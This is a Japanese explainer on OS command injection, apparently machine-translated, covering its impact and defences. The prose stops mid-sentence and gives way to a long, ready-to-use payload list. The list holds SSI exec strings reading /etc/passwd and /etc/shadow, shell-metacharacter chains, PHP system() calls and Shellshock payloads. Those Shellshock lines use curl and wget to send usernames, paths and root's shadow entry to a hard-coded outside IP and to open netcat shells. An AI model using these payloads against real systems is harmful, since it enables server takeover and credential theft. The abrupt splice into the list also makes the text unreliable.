コマンドインジェクションは、目標が脆弱なアプリケーションを介してホストオペレーティングシステムでの任意のコマンドの実行である攻撃です。アプリケーションが安全でないユーザーが提供するデータ(フォーム、Cookie、HTTPヘッダーなど)をシステムシェルに渡すと、コマンドインジェクション攻撃が可能です。この攻撃では、通常、攻撃者がサポートするオペレーティングシステムコマンドは、通常、脆弱なアプリケーションの特権とともに実行されます。コマンドインジェクション攻撃は、主に入力検証が不十分なため可能です。
この攻撃はコードインジェクションとは異なります。そのため、コードインジェクションにより、攻撃者は自分のコードを追加してからアプリケーションによって実行されます。コマンドインジェクションでは、攻撃者は、コードを注入する必要なく、システムコマンドを実行するアプリケーションのデフォルト機能を拡張します。
OSコマンドインジェクションは、攻撃者が影響を受けるWebサイトと基礎となるWebサーバーを完全に制御できるようにする重要な脆弱性です。
OSコマンドインジェクションの脆弱性は、アプリケーションがユーザーデータを実行するオペレーティングシステムコマンドに組み込んだ場合に発生します。攻撃者は、データを操作して自分のコマンドを実行することができます。これにより、攻撃者は、すべてのデータを読み取りまたは変更し、特権アクションを実行するなど、アプリケーション自体が実行できるアクションを実行できます。
Webサーバー自体の完全な妥協に加えて、攻撃者はコマンドインジェクションの脆弱性を活用して、組織の内部インフラストラクチャの攻撃をピボットし、Webサーバーがアクセスできるシステムにアクセスする可能性があります。また、組織内に永続的な足場を作成することができ、元の脆弱性が修正された後でも侵害されたシステムにアクセスし続けることができます。
オペレーティングシステムコマンドインジェクションの脆弱性は、アプリケーションにユーザー制御可能なデータをシェルコマンドインタープリターによって処理されるコマンドに組み込んだ場合に発生します。ユーザーデータが厳密に検証されていない場合、攻撃者はShell Metacharactersを使用して実行されるコマンドを変更し、サーバーによって実行される任意のさらなるコマンドを注入できます。
OSコマンドインジェクションの脆弱性は通常非常に深刻であり、アプリケーションをホストするサーバー、またはアプリケーション独自のデータと機能の妥協につながる可能性があります。また、他のシステムに対する攻撃のためのプラットフォームとしてサーバーを使用することも可能かもしれません。搾取の正確な可能性は、コマンドが実行されるセキュリティコンテキストと、このコンテキストがサーバー上の機密リソースに関して持っている特権に依存します。
可能であれば、アプリケーションはユーザー制御可能なデータをオペレーティングシステムコマンドに組み込むことを避ける必要があります。ほぼすべての状況では、サーバーレベルのタスクを実行するためのより安全な代替方法があります。これは、意図したものよりも追加のコマンドを実行するために操作することはできません。
ユーザーが提供するデータをオペレーティングシステムコマンドに組み込むことが避けられないと見なされる場合は、攻撃を防ぐために、次の2つの防御層を使用する必要があります。
ユーザーデータは厳密に検証する必要があります。理想的には、特定の受け入れられた値のホワイトリストを使用する必要があります。それ以外の場合、短い英数字の弦のみを受け入れる必要があります。考えられるシェルメタチャラクターまたはホワイトスペースを含む他のデータを含む入力を拒否する必要があります。
アプリケーションは、コマンドチェーンとリダイレクトをサポートするシェルインタープリターにコマンド文字列を渡すのではなく、その名前とコマンドラインパラメーターを介して特定のプロセスを起動するコマンドAPIを使用する必要があります。たとえば、Java API Runtime.execおよびASP.NET API Process.startは、シェルメタカラクターをサポートしません。この防御は軽減できます
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>